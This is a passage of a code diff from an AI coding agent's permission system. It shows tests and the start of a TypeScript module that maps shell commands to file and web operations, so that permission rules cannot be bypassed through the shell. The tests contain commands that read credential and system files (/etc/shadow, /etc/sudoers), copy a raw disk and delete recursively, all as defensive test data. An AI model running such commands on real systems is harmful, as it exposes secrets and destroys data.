}]); + }); + + it('grep: -A value not treated as path', () => { + const ops = extractShellOperations('grep -A 3 error /var/log/app.log', CWD); + expect(ops).toEqual([ + { virtualTool: 'read_file', filePath: '/var/log/app.log' }, + ]); + }); + + // ── ls / find ────────────────────────────────────────────────────────────── + + it('ls: no args defaults to cwd', () => { + const ops = extractShellOperations('ls', CWD); + expect(ops).toEqual([{ virtualTool: 'list_directory', filePath: CWD }]); + }); + + it('ls: explicit dir', () => { + const ops = extractShellOperations('ls /var/log', CWD); + expect(ops).toEqual([ + { virtualTool: 'list_directory', filePath: '/var/log' }, + ]); + }); + + it('find: first positional is starting dir', () => { + const ops = extractShellOperations('find /etc -name "*.conf"', CWD); + expect(ops).toEqual([{ virtualTool: 'list_directory', filePath: '/etc' }]); + }); + + it('find: no starting dir defaults to cwd', () => { + const ops = extractShellOperations('find -name "*.txt"', CWD); + expect(ops).toEqual([{ virtualTool: 'list_directory', filePath: CWD }]); + }); + + // ── touch / mkdir ────────────────────────────────────────────────────────── + + it('touch: creates a file (write_file)', () => { + const ops = extractShellOperations('touch /tmp/new.txt', CWD); + expect(ops).toEqual([ + { virtualTool: 'write_file', filePath: '/tmp/new.txt' }, + ]); + }); + + it('mkdir: creates a directory (write_file)', () => { + const ops = extractShellOperations('mkdir -p /tmp/a/b', CWD); + expect(ops).toEqual([{ virtualTool: 'write_file', filePath: '/tmp/a/b' }]); + }); + + // ── cp / mv ──────────────────────────────────────────────────────────────── + + it('cp: src=read, dst=write', () => { + const ops = extractShellOperations('cp /etc/passwd /tmp/backup', CWD); + expect(sorted(ops)).toEqual([ + { virtualTool: 'read_file', filePath: '/etc/passwd' }, + { virtualTool: 'write_file', filePath: '/tmp/backup' }, + ]); + }); + + it('mv: src=edit, dst=write', () => { + const ops = extractShellOperations('mv /tmp/a /tmp/b', CWD); + expect(sorted(ops)).toEqual([ + { virtualTool: 'edit', filePath: '/tmp/a' }, + { virtualTool: 'write_file', filePath: '/tmp/b' }, + ]); + }); + + // ── rm ───────────────────────────────────────────────────────────────────── + + it('rm: single file is edit', () => { + const ops = extractShellOperations('rm /tmp/secret.txt', CWD); + expect(ops).toEqual([{ virtualTool: 'edit', filePath: '/tmp/secret.txt' }]); + }); + + it('rm -rf: directory is edit', () => { + const ops = extractShellOperations('rm -rf /tmp/dir', CWD); + expect(ops).toEqual([{ virtualTool: 'edit', filePath: '/tmp/dir' }]); + }); + + // ── chmod / chown ────────────────────────────────────────────────────────── + + it('chmod: mode arg is skipped, file is edit', () => { + const ops = extractShellOperations('chmod 755 /usr/local/bin/script', CWD); + expect(ops).toEqual([ + { virtualTool: 'edit', filePath: '/usr/local/bin/script' }, + ]); + }); + + it('chown: owner arg is skipped, file is edit', () => { + const ops = extractShellOperations('chown root:root /etc/config', CWD); + expect(ops).toEqual([{ virtualTool: 'edit', filePath: '/etc/config' }]); + }); + + // ── sed ──────────────────────────────────────────────────────────────────── + + it('sed without -i: read_file', () => { + const ops = extractShellOperations("sed 's/foo/bar/' /etc/hosts", CWD); + expect(ops).toEqual([{ virtualTool: 'read_file', filePath: '/etc/hosts' }]); + }); + + it('sed -i: edit', () => { + const ops = extractShellOperations("sed -i 's/foo/bar/' /etc/hosts", CWD); + expect(ops).toEqual([{ virtualTool: 'edit', filePath: '/etc/hosts' }]); + }); + + it('sed -e: all positionals are files', () => { + const ops = extractShellOperations("sed -e 's/foo/bar/' /a /b", CWD); + expect(sorted(ops)).toEqual([ + { virtualTool: 'read_file', filePath: '/a' }, + { virtualTool: 'read_file', filePath: '/b' }, + ]); + }); + + // ── awk ──────────────────────────────────────────────────────────────────── + + it('awk: program expression filtered, file identified', () => { + const ops = extractShellOperations("awk '{print $1}' /etc/passwd", CWD); + expect(ops).toEqual([ + { virtualTool: 'read_file', filePath: '/etc/passwd' }, + ]); + }); + + it('awk -F: separator consumed, file identified', () => { + const ops = extractShellOperations("awk -F: '{print $2}' /etc/shadow", CWD); + expect(ops).toEqual([ + { virtualTool: 'read_file', filePath: '/etc/shadow' }, + ]); + }); + + // ── dd ───────────────────────────────────────────────────────────────────── + + it('dd if= and of=', () => { + const ops = extractShellOperations('dd if=/dev/sda of=/tmp/disk.img', CWD); + expect(sorted(ops)).toEqual([ + { virtualTool: 'read_file', filePath: '/dev/sda' }, + { virtualTool: 'write_file', filePath: '/tmp/disk.img' }, + ]); + }); + + // ── Redirections ─────────────────────────────────────────────────────────── + + it('redirect >: write_file', () => { + const ops = extractShellOperations('echo hello > /tmp/out.txt', CWD); + expect(ops).toEqual([ + { virtualTool: 'write_file', filePath: '/tmp/out.txt' }, + ]); + }); + + it('redirect >>: write_file', () => { + const ops = extractShellOperations('date >> /var/log/app.log', CWD); + expect(ops).toEqual([ + { virtualTool: 'write_file', filePath: '/var/log/app.log' }, + ]); + }); + + it('redirect <: read_file', () => { + const ops = extractShellOperations('sort < /tmp/data.txt', CWD); + expect(ops).toContainEqual({ + virtualTool: 'read_file', + filePath: '/tmp/data.txt', + }); + }); + + it('combined redirect >file without space', () => { + const ops = extractShellOperations('echo hi >/tmp/foo', CWD); + expect(ops).toContainEqual({ + virtualTool: 'write_file', + filePath: '/tmp/foo', + }); + }); + + it('redirect 2>/dev/null: ignored (no op)', () => { + const ops = extractShellOperations('cat /etc/passwd 2>/dev/null', CWD); + expect(ops).not.toContainEqual( + expect.objectContaining({ filePath: '/dev/null' }), + ); + expect(ops).toContainEqual({ + virtualTool: 'read_file', + filePath: '/etc/passwd', + }); + }); + + // ── curl / wget ──────────────────────────────────────────────────────────── + + it('curl: extracts domain', () => { + const ops = extractShellOperations( + 'curl https://api.example.com/data', + CWD, + ); + expect(ops).toEqual([ + { virtualTool: 'web_fetch', domain: 'api.example.com' }, + ]); + }); + + it('curl: -o flag value not treated as URL', () => { + const ops = extractShellOperations( + 'curl -o /tmp/out.json https://api.example.com', + CWD, + ); + expect(ops).toEqual([ + { virtualTool: 'web_fetch', domain: 'api.example.com' }, + ]); + }); + + it('wget: extracts domain', () => { + const ops = extractShellOperations( + 'wget https://example.com/file.tar.gz', + CWD, + ); + expect(ops).toEqual([{ virtualTool: 'web_fetch', domain: 'example.com' }]); + }); + + it('wget: -O flag value not treated as URL', () => { + const ops = extractShellOperations( + 'wget -O /tmp/file.gz https://example.com/f.gz', + CWD, + ); + expect(ops).toEqual([{ virtualTool: 'web_fetch', domain: 'example.com' }]); + }); + + // ── sudo / prefix commands ───────────────────────────────────────────────── + + it('sudo cat: transparent wrapper', () => { + const ops = extractShellOperations('sudo cat /etc/sudoers', CWD); + expect(ops).toEqual([ + { virtualTool: 'read_file', filePath: '/etc/sudoers' }, + ]); + }); + + it('sudo -u user cat: strips flags before inner cmd', () => { + const ops = extractShellOperations('sudo -u root cat /etc/shadow', CWD); + expect(ops).toEqual([ + { virtualTool: 'read_file', filePath: '/etc/shadow' }, + ]); + }); + + it('env cmd: transparent wrapper', () => { + const ops = extractShellOperations('env cat /etc/hosts', CWD); + expect(ops).toEqual([{ virtualTool: 'read_file', filePath: '/etc/hosts' }]); + }); + + it('timeout cmd: transparent wrapper', () => { + const ops = extractShellOperations( + 'timeout 30 wget https://example.com', + CWD, + ); + expect(ops).toEqual([{ virtualTool: 'web_fetch', domain: 'example.com' }]); + }); + + // ── Combination: command + redirect ─────────────────────────────────────── + + it('cat src > dst: both read and write', () => { + const ops = extractShellOperations('cat /etc/passwd > /tmp/copy', CWD); + expect(sorted(ops)).toEqual([ + { virtualTool: 'read_file', filePath: '/etc/passwd' }, + { virtualTool: 'write_file', filePath: '/tmp/copy' }, + ]); + }); + + it('grep pattern file > out: read + write', () => { + const ops = extractShellOperations( + 'grep secret /etc/config > /tmp/out', + CWD, + ); + expect(sorted(ops)).toEqual([ + { virtualTool: 'read_file', filePath: '/etc/config' }, + { virtualTool: 'write_file', filePath: '/tmp/out' }, + ]); + }); + + // ── Variables / unresolvable patterns ───────────────────────────────────── + + it('$VAR paths are not included', () => { + const ops = extractShellOperations('cat $SECRET_FILE', CWD); + // $SECRET_FILE starts with $, filtered by looksLikePath + expect(ops).toEqual([]); + }); +}); diff --git a/packages/core/src/permissions/shell-semantics.ts b/packages/core/src/permissions/shell-semantics.ts new file mode 100644 index 000000000000..414d51103d5c --- /dev/null +++ b/packages/core/src/permissions/shell-semantics.ts @@ -0,0 +1,1685 @@ +/** + * @license + * Copyright 2025 Qwen team + * SPDX-License-Identifier: Apache-2.0 + */ + +/** + * Shell command semantic analysis for permission matching. + * + * Analyzes simple shell commands to extract "virtual tool operations" so that + * Read / Edit / Write / WebFetch / ListFiles permission rules can match their + * shell equivalents and prevent bypass via the shell tool. + * + * @example + * extractShellOperations('cat /etc/passwd', '/home/user') + * // → [{ virtualTool: 'read_file', filePath: '/etc/passwd' }] + * + * @example + * extractShellOperations('curl https://example.com/api', '/home/user') + * // → [{ virtualTool: 'web_fetch', domain: 'example.com' }] + * + * @example + * extractShellOperations('echo hi > /etc/motd', '/home/user') + * // → [{ virtualTool: 'write_file', filePath: '/etc/motd' }] + * + * Known limitations (cannot be statically analysed): + * - Shell variable expansion: `cat $FILE` + * - Command substitution: `cat $(find .)` + * - Interpreter scripts: `python script.py`, `node x.js` + * - Pipe targets: `find . | xargs cat` + * - Complex dynamic expressions: `eval "cat $f"` + */ + +import nodePath from 'node:path'; +import os from 'node:os'; + +// ───────────────────────────────────────────────────────────────────────────── +// Types +// ───────────────────────────────────────────────────────────────────────────── + +/** + * A virtual file or network operation extracted from a shell command. + * Used to match Read / Edit / Write / WebFetch / ListFiles permission rules + * against shell commands that perform equivalent operations. + */ +export interface ShellOperation { + /** + * The virtual tool this operation maps to. + * Matches the canonical tool names used in the permission system. + */ + virtualTool: + | 'read_file' + | 'list_directory' + | 'edit' + | 'write_file' + | 'web_fetch' + | 'grep_search'; + /** Absolute file or directory path (for file operations). */ + filePath?: string; + /** Domain name without port (for web_fetch operations). */ + domain?: string; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Tokenizer +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Tokenize a shell command string, respecting single/double quotes and + * backslash escapes, splitting on unquoted whitespace. + * + * The input should be a single simple command (already split from compound + * commands via `splitCompoundCommand`). + */ +function tokenize(command: string): string[] { + const tokens: string[] = []; + let current = ''; + let inSingle = false; + let inDouble = false; + let escaped = false; + + for (let i = 0; i < command.length; i++) { + const ch = command[i]!; + + if (escaped) { + current += ch; + escaped = false; + continue; + } + if (ch === '\\' && !inSingle) { + escaped = true; + continue; + } + if (ch === "'" && !inDouble) { + inSingle = !inSingle; + continue; + } + if (ch === '"' && !inSingle) { + inDouble = !inDouble; + continue; + } + if (!inSingle && !inDouble && (ch === ' ' || ch === '\t')) { + if (current) { + tokens.push(current); + current = ''; + } + continue; + } + current += ch; + } + if (current) tokens.push(current); + return tokens; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Path helpers +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Resolve a path argument to an absolute POSIX-style path. + * Handles `~` home-directory expansion and relative paths. + * + * Always returns paths with forward-slash separators so that the resolved + * paths are consistent across platforms and compatible with picomatch / the + * permission rule matching system. + */ +function resolvePath(p: string, cwd: string): string { + // Normalize inputs to forward slashes for consistent cross-platform handling + const normP = p.replace(/\\/g, '/'); + const normCwd = cwd.replace(/\\/g, '/'); + + if (normP === '~' || normP.startsWith('~/')) { + const homeDir = os.homedir().replace(/\\/g, '/'); + const rest = normP.slice(1); // '' or '/some/path' + // nodePath.posix.join handles the rest correctly: + // join('C:/Users/foo', '/.ssh/id_rsa') → 'C:/Users/foo/.ssh/id_rsa' + return rest ? nodePath.posix.join(homeDir, rest) : homeDir; + } + // isAbsolute check: handle both POSIX (/foo) and Windows (C:\foo) absolute paths + if (nodePath.isAbsolute(normP) || normP.startsWith('/')) { + return normP; + } + return nodePath.posix.join(normCwd, normP); +} + +/** + * Return true if a token looks like a file/directory path argument, as + * opposed to a flag, shell variable, number, or script expression. + */ +function looksLikePath(s: string): boolean { + if (!s) return false; + // Shell variable references + if (s.startsWith('$')) return false; + // Flags + if (s.startsWith('-')) return false; + // Pure integers — likely a count/size/mode argument (e.g. -n 10, chmod 755) + if (/^\d+$/.test(s)) return false; + // Script-like expressions (awk/sed programs, brace expansions) + if (s.includes('{') || s.includes('}')) return false; + // URLs are handled separately by the web-fetch handlers + if (s.includes('://')) return false; + return true; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Redirect extraction +// ───────────────────────────────────────────────────────────────────────────── + +interface RedirectResult { + readFiles: string[]; + writeFiles: string[]; +} + +/** + * Extract I/O redirections from a token array. + * + * Modifies `tokens` in-place to remove redirect operators and their targets. + * Returns the absolute paths of redirect targets as read / write operations. + * + * Handles: + * `> file` `>> file` `< file` (with or without space) + * `2> file` `2>> file` `&> file` `&>> file` + * Combined forms: `>file`, `>>file`, `2>/dev/null` + */ +function extractRedirects(tokens: string[], cwd: string): RedirectResult { + const readFiles: string[] = []; + const writeFiles: string[] = []; + const toRemove = new Set(); + + for (let i = 0; i < tokens.length; i++) { + const tok = tokens[i]!; + + // ── Separate-token redirect operators ───────────────────────────────── + if (tok === '>' || tok === '1>') { + const target = tokens[i + 1]; + if (target && looksLikePath(target)) { + writeFiles.push(resolvePath(target, cwd)); + toRemove.add(i); + toRemove.add(i + 1); + i++; + } + } else if (tok === '>>' || tok === '1>>') { + const target = tokens[i + 1]; + if (target && looksLikePath(target)) { + writeFiles.push(resolvePath(target, cwd)); + toRemove.add(i); + toRemove.add(i + 1); + i++; + } + } else if (tok === '<') { + const target = tokens[i + 1]; + if (target && looksLikePath(target)) { + readFiles.push(resolvePath(target, cwd)); + toRemove.add(i); + toRemove.add(i + 1); + i++; + } + } else if (tok === '2>' || tok === '2>>' || tok === '&>' || tok === '&>>') { + // stderr / combined redirect — consume target + const target = tokens[i + 1]; + if (target) { + if (target !== '/dev/null' && looksLikePath(target)) { + writeFiles.push(resolvePath(target, cwd)); + } + toRemove.add(i); + toRemove.add(i + 1); + i++; + } + } + // ── Combined redirect tokens without space: `>file`, `>>file`, etc. ─── + else { + const m = tok.match(/^(>>|>|2>>|2>|&>>|&>|<)(.+)$/); + if (m) { + const op = m[1]!; + const target = m[2]!; + if (target !== '/dev/null' && looksLikePath(target)) { + if (op === '<') { + readFiles.push(resolvePath(target, cwd)); + } else { + writeFiles.push(resolvePath(target, cwd)); + } + } + toRemove.add(i); + } + } + } + + // Remove redirect tokens from the array in-place + const filtered = tokens.filter((_, idx) => !toRemove.has(idx)); + tokens.length = 0; + tokens.push(...filtered); + + return { readFiles, writeFiles }; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Argument parsing +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Extract positional (non-flag) arguments from a token list. + * + * Flags starting with `-` are skipped. Flags listed in `flagsWithValue` + * also consume the immediately following token (their value). + */ +function getPositionalArgs( + args: string[], + flagsWithValue: ReadonlySet = new Set(), +): string[] { + const positional: string[] = []; + let skipNext = false; + + for (const arg of args) { + if (skipNext) { + skipNext = false; + continue; + } + if (!arg.startsWith('-')) { + positional.push(arg); + continue; + } + // Flag: check if it consumes the next token + if (flagsWithValue.has(arg)) { + skipNext = true; + } + // Flags combined with their value in the same token (`-n10`) are ignored + // because looksLikePath will filter out anything starting with `-`. + } + + return positional; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Command handler helpers +// ───────────────────────────────────────────────────────────────────────────── + +type CommandHandler = (args: string[], cwd: string) => ShellOperation[]; + +/** Build read_file operations from positional path arguments. */ +function readOps( + args: string[], + cwd: string, + flagsWithValue?: ReadonlySet, +): ShellOperation[] { + return getPositionalArgs(args, flagsWithValue) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'read_file' as const, + filePath: resolvePath(p, cwd), + })); +} + +/** Build list_directory operations from positional path arguments. + * Defaults to cwd when no path args are given. */ +function listOps( + args: string[], + cwd: string, + flagsWithValue?: ReadonlySet, +): ShellOperation[] { + const dirs = getPositionalArgs(args, flagsWithValue).filter(looksLikePath); + if (dirs.length === 0) + return [{ virtualTool: 'list_directory', filePath: cwd }]; + return dirs.map((p) => ({ + virtualTool: 'list_directory' as const, + filePath: resolvePath(p, cwd), + })); +} + +/** Extract URL domain and return a web_fetch operation, or null on failure. */ +function webOp(url: string): ShellOperation | null { + try { + const normalized = url.includes('://') ? url : `https://${url}`; + const domain = new URL(normalized).hostname; + return domain ? { virtualTool: 'web_fetch', domain } : null; + } catch { + return null; + } +} + +// ───────────────────────────────────────────────────────────────────────────── +// Command dispatch table +// ───────────────────────────────────────────────────────────────────────────── + +const COMMANDS: Readonly> = { + // ── File-read commands ──────────────────────────────────────────────────── + + cat: (a, d) => readOps(a, d), + tac: (a, d) => readOps(a, d), + nl: (a, d) => readOps(a, d), + zcat: (a, d) => readOps(a, d), + bzcat: (a, d) => readOps(a, d), + xzcat: (a, d) => readOps(a, d), + gzcat: (a, d) => readOps(a, d), + lzcat: (a, d) => readOps(a, d), + head: (a, d) => readOps(a, d, new Set(['-n', '-c', '--lines', '--bytes'])), + tail: (a, d) => + readOps( + a, + d, + new Set(['-n', '-c', '-s', '--lines', '--bytes', '--sleep-interval']), + ), + less: (a, d) => + readOps( + a, + d, + new Set(['-b', '-h', '-j', '-p', '-x', '-y', '-z', '--shift', '--tabs']), + ), + more: (a, d) => readOps(a, d), + most: (a, d) => readOps(a, d), + wc: (a, d) => readOps(a, d), + file: (a, d) => + readOps( + a, + d, + new Set([ + '-m', + '-e', + '-F', + '-P', + '--magic-file', + '--exclude', + '--extension', + '--separator', + ]), + ), + stat: (a, d) => + readOps( + a, + d, + new Set(['-c', '-f', '--format', '--printf', '--file-system']), + ), + readlink: (a, d) => + readOps( + a, + d, + new Set([ + '-e', + '-f', + '-m', + '-q', + '-s', + '-v', + '-z', + '--canonicalize', + '--canonicalize-existing', + '--canonicalize-missing', + '--no-newline', + '--quiet', + '--silent', + '--verbose', + '--zero', + ]), + ), + realpath: (a, d) => + readOps( + a, + d, + new Set([ + '--relative-to', + '--relative-base', + '-e', + '-m', + '-s', + '-z', + '--canonicalize-existing', + '--canonicalize-missing', + '--logical', + '--physical', + '--no-symlinks', + '--quiet', + '--strip', + '--zero', + ]), + ), + diff: (a, d) => + readOps( + a, + d, + new Set([ + '-u', + '-U', + '-c', + '-C', + '-I', + '-x', + '-X', + '-W', + '--label', + '--to-file', + '--from-file', + '--width', + '--horizon-lines', + '--strip-trailing-cr', + '--ignore-matching-lines', + '--exclude', + '--exclude-from', + ]), + ), + diff3: (a, d) => + readOps( + a, + d, + new Set([ + '-m', + '-T', + '-A', + '-E', + '-e', + '-x', + '-X', + '-3', + '-i', + '--label', + ]), + ), + sdiff: (a, d) => + readOps( + a, + d, + new Set(['-o', '-w', '-W', '-s', '-i', '-b', '-B', '-E', '-H']), + ), + cmp: (a, d) => + readOps( + a, + d, + new Set([ + '-i', + '-l', + '-n', + '-s', + '--ignore-initial', + '--bytes', + '--print-bytes', + '--quiet', + '--silent', + '--verbose', + '--zero', + ]), + ), + md5sum: (a, d) => readOps(a, d), + sha1sum: (a, d) => readOps(a, d), + sha256sum: (a, d) => readOps(a, d), + sha512sum: (a, d) => readOps(a, d), + sha224sum: (a, d) => readOps(a, d), + sha384sum: (a, d) => readOps(a, d), + cksum: (a, d) => readOps(a, d), + b2sum: (a, d) => readOps(a, d), + sum: (a, d) => readOps(a, d), + strings: (a, d) => + readOps( + a, + d, + new Set([ + '-n', + '-t', + '-e', + '-o', + '-a', + '--min-len', + '--radix', + '--encoding', + '--file', + '--print-file-name', + '--data', + '--all', + ]), + ), + hexdump: (a, d) => + readOps( + a, + d, + new Set([ + '-n', + '-s', + '-l', + '-C', + '-b', + '-c', + '-d', + '-o', + '-x', + '-e', + '-f', + '-v', + ]), + ), + xxd: (a, d) => + readOps( + a, + d, + new Set([ + '-l', + '-s', + '-c', + '-g', + '-o', + '-n', + '-b', + '-e', + '-i', + '-p', + '-r', + '-u', + '-E', + ]), + ), + od: (a, d) => + readOps( + a, + d, + new Set([ + '-N', + '-j', + '-w', + '-s', + '-t', + '-A', + '-v', + '--address-radix', + '--endian', + '--format', + '--read-bytes', + '--skip-bytes', + '--strings', + '--output-duplicates', + '--width', + ]), + ), + sort: (a, d) => + readOps( + a, + d, + new Set([ + '-k', + '-t', + '-T', + '--output', + '-o', + '--field-separator', + '--key', + '--temporary-directory', + '--compress-program', + '--batch-size', + '--parallel', + '--random-source', + '--sort', + ]), + ), + uniq: (a, d) => + readOps( + a, + d, + new Set([ + '-f', + '-s', + '-w', + '-n', + '--skip-fields', + '--skip-chars', + '--check-chars', + ]), + ), + cut: (a, d) => + readOps( + a, + d, + new Set([ + '-b', + '-c', + '-d', + '-f', + '--delimiter', + '--fields', + '--bytes', + '--characters', + '--output-delimiter', + ]), + ), + paste: (a, d) => + readOps(a, d, new Set(['-d', '-s', '--delimiters', '--serial'])), + join: (a, d) => + readOps( + a, + d, + new Set([ + '-t', + '-1', + '-2', + '-j', + '-o', + '-a', + '-e', + '--field', + '--header', + '--check-order', + '--nocheck-order', + '--zero-terminated', + ]), + ), + column: (a, d) => + readOps( + a, + d, + new Set([ + '-t', + '-s', + '-n', + '-c', + '-o', + '-x', + '--table', + '--separator', + '--output-separator', + '--fillrows', + ]), + ), + fold: (a, d) => + readOps( + a, + d, + new Set(['-w', '-b', '-s', '--width', '--bytes', '--spaces']), + ), + expand: (a, d) => readOps(a, d, new Set(['-t', '--tabs', '--initial'])), + unexpand: (a, d) => + readOps(a, d, new Set(['-t', '-a', '--tabs', '--all', '--first-only'])), + base64: (a, d) => + readOps( + a, + d, + new Set(['-d', '-i', '-w', '--decode', '--ignore-garbage', '--wrap']), + ), + base32: (a, d) => + readOps( + a, + d, + new Set(['-d', '-i', '-w', '--decode', '--ignore-garbage', '--wrap']), + ), + tr: (a, d) => readOps(a, d), + + // ── Grep / search commands ──────────────────────────────────────────────── + + grep: (args, cwd) => { + const hasPatternFlag = args.some( + (a) => + a === '-e' || a === '-f' || a.startsWith('-e') || a.startsWith('-f'), + ); + const isRecursive = args.some((a) => + ['-r', '-R', '--recursive', '--dereference-recursive'].includes(a), + ); + const flagsWithValue = new Set([ + '-e', + '-f', + '-m', + '-A', + '-B', + '-C', + '--context', + '--include', + '--exclude', + '--exclude-dir', + '--max-count', + '--after-context', + '--before-context', + '-n', + '--line-number', + '--label', + '-D', + '--devices', + '--max-depth', + '-X', + '--exclude-from', + ]); + const positional = getPositionalArgs(args, flagsWithValue).filter( + looksLikePath, + ); + // If -e/-f was used, there is no positional pattern; all positionals are paths. + // Otherwise, the first positional is the pattern and the rest are paths. + const filePaths = hasPatternFlag ? positional : positional.slice(1); + const tool: 'read_file' | 'list_directory' = isRecursive + ? 'list_directory' + : 'read_file'; + return filePaths.map((p) => ({ + virtualTool: tool, + filePath: resolvePath(p, cwd), + })); + }, + egrep: (a, d) => (COMMANDS['grep'] as CommandHandler)(a, d), + fgrep: (a, d) => (COMMANDS['grep'] as CommandHandler)(a, d), + zgrep: (a, d) => (COMMANDS['grep'] as CommandHandler)(a, d), + bzgrep: (a, d) => (COMMANDS['grep'] as CommandHandler)(a, d), + + rg: (args, cwd) => { + // ripgrep: recursive by default; first non-flag positional = pattern + const hasPatternFlag = args.some((a) => a === '-e' || a === '-f'); + const flagsWithValue = new Set([ + '-e', + '-f', + '-m', + '-A', + '-B', + '-C', + '-t', + '-T', + '-g', + '--iglob', + '--glob', + '--type', + '--type-not', + '--max-count', + '--max-depth', + '--context', + '--after-context', + '--before-context', + '-M', + '--max-columns', + '--field-match-separator', + ]); + const positional = getPositionalArgs(args, flagsWithValue).filter( + looksLikePath, + ); + const filePaths = hasPatternFlag ? positional : positional.slice(1); + return filePaths.map((p) => ({ + virtualTool: 'list_directory' as const, + filePath: resolvePath(p, cwd), + })); + }, + + ag: (args, cwd) => { + const hasPatternFlag = args.some((a) => a === '-e'); + const flagsWithValue = new Set([ + '-e', + '-m', + '-A', + '-B', + '-C', + '--depth', + '--file-search-regex', + '--file-search-regex-i', + '--ignore', + '--ignore-dir', + '-n', + ]); + const positional = getPositionalArgs(args, flagsWithValue).filter( + looksLikePath, + ); + const filePaths = hasPatternFlag ? positional : positional.slice(1); + return filePaths.map((p) => ({ + virtualTool: 'list_directory' as const, + filePath: resolvePath(p, cwd), + })); + }, + + ack: (args, cwd) => { + const flagsWithValue = new Set([ + '-m', + '-A', + '-B', + '-C', + '--type', + '--ignore-dir', + '--ignore-file', + '--ignore-directory', + '-n', + ]); + // ack: first positional = pattern, rest = paths + const positional = getPositionalArgs(args, flagsWithValue).filter( + looksLikePath, + ); + return positional.slice(1).map((p) => ({ + virtualTool: 'list_directory' as const, + filePath: resolvePath(p, cwd), + })); + }, + + // ── Directory-listing commands ──────────────────────────────────────────── + + ls: (a, d) => listOps(a, d), + dir: (a, d) => listOps(a, d), + vdir: (a, d) => listOps(a, d), + exa: (a, d) => + listOps( + a, + d, + new Set([ + '-L', + '--level', + '--sort', + '--color', + '--colour', + '--group', + '-I', + '--ignore-glob', + ]), + ), + eza: (a, d) => + listOps( + a, + d, + new Set([ + '-L', + '--level', + '--sort', + '--color', + '--colour', + '--group', + '-I', + '--ignore-glob', + ]), + ), + lsd: (a, d) => + listOps( + a, + d, + new Set([ + '--depth', + '--color', + '--icon', + '--icon-theme', + '--date', + '--size', + '--blocks', + '--header', + '--classic', + '--no-symlink', + '--ignore-glob', + '-I', + ]), + ), + + find: (args, cwd) => { + // `find [starting-point...] [expression]` + // Starting points come before any expression keyword beginning with `-` or `(`. + const expressionKeywords = new Set([ + '-name', + '-iname', + '-path', + '-ipath', + '-regex', + '-iregex', + '-type', + '-maxdepth', + '-mindepth', + '-newer', + '-mtime', + '-atime', + '-ctime', + '-size', + '-user', + '-group', + '-perm', + '-links', + '-inum', + '-exec', + '-execdir', + '-ok', + '-okdir', + '-print', + '-print0', + '-ls', + '-delete', + '-prune', + '-depth', + '-empty', + '-readable', + '-writable', + '-executable', + '-follow', + '-xdev', + '-mount', + '-true', + '-false', + '-not', + '!', + '-a', + '-and', + '-o', + '-or', + ]); + const startingPoints: string[] = []; + for (const arg of args) { + if ( + arg.startsWith('-') || + arg === '(' || + arg === ')' || + expressionKeywords.has(arg) + ) + break; + if (looksLikePath(arg)) startingPoints.push(resolvePath(arg, cwd)); + } + if (startingPoints.length === 0) { + return [{ virtualTool: 'list_directory', filePath: cwd }]; + } + return startingPoints.map((p) => ({ + virtualTool: 'list_directory' as const, + filePath: p, + })); + }, + + tree: (args, cwd) => + listOps( + args, + cwd, + new Set([ + '-L', + '-P', + '-I', + '-o', + '-n', + '-H', + '-T', + '--charset', + '--filelimit', + '--matchdirs', + '--dirsfirst', + '-J', + '-X', + '--du', + '--si', + ]), + ), + + du: (args, cwd) => + listOps( + args, + cwd, + new Set([ + '-d', + '--max-depth', + '--threshold', + '-t', + '--block-size', + '-B', + '--time-style', + '--exclude', + '-X', + '--time', + '--output', + ]), + ), + + // ── File-write commands (create or overwrite) ───────────────────────────── + + touch: (args, cwd) => + getPositionalArgs( + args, + new Set(['-t', '-r', '--reference', '--date', '-d', '--time']), + ) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'write_file' as const, + filePath: resolvePath(p, cwd), + })), + + mkdir: (args, cwd) => + getPositionalArgs(args, new Set(['-m', '--mode', '-Z', '--context'])) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'write_file' as const, + filePath: resolvePath(p, cwd), + })), + + mkfifo: (args, cwd) => + getPositionalArgs(args, new Set(['-m', '--mode', '-Z'])) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'write_file' as const, + filePath: resolvePath(p, cwd), + })), + + tee: (args, cwd) => + getPositionalArgs(args) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'write_file' as const, + filePath: resolvePath(p, cwd), + })), + + cp: (args, cwd) => { + const flagsWithValue = new Set([ + '-S', + '--suffix', + '-t', + '--target-directory', + '--backup', + '--no-target-directory', + '--sparse', + '--reflink', + '-Z', + '--context', + '--copy-contents', + ]); + const positional = getPositionalArgs(args, flagsWithValue).filter( + looksLikePath, + ); + if (positional.length === 0) return []; + if (positional.length === 1) { + return [ + { + virtualTool: 'read_file', + filePath: resolvePath(positional[0]!, cwd), + }, + ]; + } + const srcs = positional.slice(0, -1); + const dst = positional[positional.length - 1]!; + return [ + ...srcs.map((p) => ({ + virtualTool: 'read_file' as const, + filePath: resolvePath(p, cwd), + })), + { virtualTool: 'write_file' as const, filePath: resolvePath(dst, cwd) }, + ]; + }, + + mv: (args, cwd) => { + const flagsWithValue = new Set([ + '-S', + '--suffix', + '-t', + '--target-directory', + '--backup', + '-Z', + '--context', + ]); + const positional = getPositionalArgs(args, flagsWithValue).filter( + looksLikePath, + ); + if (positional.length < 2) return []; + const srcs = positional.slice(0, -1); + const dst = positional[positional.length - 1]!; + return [ + // The source files are edited (moved away — their original location changes) + ...srcs.map((p) => ({ + virtualTool: 'edit' as const, + filePath: resolvePath(p, cwd), + })), + { virtualTool: 'write_file' as const, filePath: resolvePath(dst, cwd) }, + ]; + }, + + install: (args, cwd) => { + const flagsWithValue = new Set([ + '-m', + '--mode', + '-o', + '--owner', + '-g', + '--group', + '-S', + '--suffix', + '-t', + '--target-directory', + '-T', + '--no-target-directory', + '-Z', + '--context', + '-C', + '--compare', + ]); + const positional = getPositionalArgs(args, flagsWithValue).filter( + looksLikePath, + ); + if (positional.length < 2) return []; + const dst = positional[positional.length - 1]!; + return [{ virtualTool: 'write_file', filePath: resolvePath(dst, cwd) }]; + }, + + dd: (args, cwd) => { + // dd if=input of=output — arguments are key=value pairs, not flags + const ops: ShellOperation[] = []; + for (const arg of args) { + if (arg.startsWith('if=')) { + const p = 